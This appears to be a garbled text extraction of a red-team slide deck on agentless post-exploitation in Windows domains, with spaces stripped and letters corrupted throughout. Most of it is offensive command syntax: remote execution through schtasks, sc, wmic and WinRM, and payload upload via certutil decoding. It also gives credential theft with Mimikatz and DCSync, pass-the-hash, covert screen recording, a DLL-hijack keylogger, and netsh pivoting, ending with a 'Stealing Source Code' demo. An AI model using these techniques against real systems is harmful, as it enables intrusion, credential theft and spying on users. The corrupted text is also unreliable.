Agentless Purpose Built Scalable Veeam Backup & Replication.
Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in...
Transcript of Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in...
AgentlessPostExploita0on
AgentlessPostExploita0on
• Remotecontroloftargetwithbuilt-inservices• Benefits– Similarresults,withoutmalwareonalltargets– Differentar0facts
• Drawbacks– Requiresaccessibleservices
Overview
• AdministratorRights• Execute• UploadandDownload• ProcessManipula0on• RecoveringCreden0als• UsingCreden0als• UserExploita0on• Pivo0ng• DEMO!
AdministratorRights
• Administratortrustsallowustodothings!• Interactw/adminsharesandscheduleprocesses• BothLocalandDomainAdministratormaNer!!
• AmIanadmin?dir\\host\C$at\\host
Execute
• Oldschool:at,schtasks,sc,wmicnet0me\\targetat\\targetHH:mmc:\path\to\programDeprecatedasofWindows8|2012server
Execute
• Oldschool:at,schtasks,sc,wmicschtasks/create/tnNAME/trc:\path\program/sconce/st00:00/Starget/RUSystemschtasks/run/tnNAME/Starget
Execute
• Oldschool:at,schtasks,sc,wmicsc\\targetcreatenamebinpath=“c:\path\program”sc\\targetstartnameMakesurethere’saspacea`erbinpath=
Execute
• Oldschool:at,schtasks,sc,wmicwmic/node:”target”processcallcreate“program”
Execute(Non-blind)
• PowerShellRemo0ng(WinRM)
Invoke-Command–ComputerNametarget–ScriptBlock{command}
Execute(Non-blind)
• PowerSploit’sInvoke-WmiCommand.ps1
Invoke-WmiCommand–ComputerNametarget–Payload{command}|select–exp“PayloadOutput”
Upload&Download• Push&pullfilesviaUNCpath\\target\share?– copymyfile\\target\share– copy\\target\share\theirfilemyfilenow
• Defaultshares
• NoDefaultShares?Turnthemon:– netshareC$– netshareadmin$
Share Mapsto
C$ C:\
ADMIN$ %SystemRoot%(e.g.,c:\windows)
UploadL
• Canyouruncommandsremotely?– Base64encodelocalfile– Runecho“partofbase64string”>>dest.b64
• Againandagain…
– Runcertu0l.exetodecoderemotefile• certu0l.exe–decodedest.b64dest.dll
hNps://gist.github.com/makfesta0on/47f9e8a431f96a266522
ProcessManipula0on
• ListProcessestasklist/v/Starget
• KillProcesstaskkill/Starget/PIDPID/F
ProcessManipula0on
• ListProcesseswmic/node:”target”processlistfullwmic/node:”target”processlistbrief
• KillProcesswmic/node:”target”where(ProcessID=“##”)
callterminate
RecoveringCreden0alMaterial
• PowerSploit’sInvoke-Mimikatz(WinRM)Invoke-Mimikatz–ComputerNametargetOr…Invoke-Mimikatz–ComputerNametarget-Commandcommand
RecoveringCreden0alMaterial
• DcSyncviamimikatzlsadump::dcsync/domain:DOMAIN.fqdn/user:DOMAIN\user
UsingCreden0als(AccessTokens)
• Createda`erlogon• Associatedwitheachprocessandthread• Contains:– UserandGroupInforma0on– Alistofprivilegesonlocalcomputer– Restric0ons(user/grouprightstakenaway)– Referencetocreden0als(supportssinglesign-on)
• Persistsinmemoryun0lreboot
UsingCreden0als
• Creden0alsrunas/netonly/user:DOMAIN\userprogram
• Pass-the-hash(Mimikatz)sekurlsa::pth/user:USER/domain:DOMAIN/ntlm:HASH/run:program
YourPayloadmayhavebuilt-inversionsofthese
hNp://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-creden0als/
UserExploita0on
• ScreenshotswithProblemStepRecorder– Starttherecorderpsr.exe/start/gui0/outputc:\users\user\out.zip– Stoptherecorderpsr.exe/stop
hNps://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/
UserExploita0on
• ScreenshotswithProblemStepRecorder– Starttherecorderpsr.exe/start/gui0/outputc:\users\user\out.zip– Stoptherecorderpsr.exe/stop
• Howtoruninuser’sdesktopsession?schtasks/IT/RUDOMAIN\user/RPpassword…
hNps://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/
UserExploita0on
• LogkeystrokesviaDLLHijacking– CompileakeystrokeloggerasaDLL– Copyto\\target\C$\windows\linkinfo.dll– Remotelykillexplorer.exe– PullkeystrokelogfileviaC$share
Pivo0ng• Createaportforwardwithnetshnetshinterfaceportproxyaddv4tov4
listenport=LPORTlistenaddress=0.0.0.0connectport=FPORTconnectaddress=FHOST
• RequiresIPv6stackisinstalled.• Portforwardpersistsonreboot.CLEANUP!netshinterfaceportproxyreset
DEMONSTRATIONStealingSourceCodefromACME
Summary
• AdministratorRights• Execute• UploadandDownload• ProcessManipula0on• RecoveringCreden0als• UsingCreden0als• UserExploita0on• Pivo0ng• DEMO!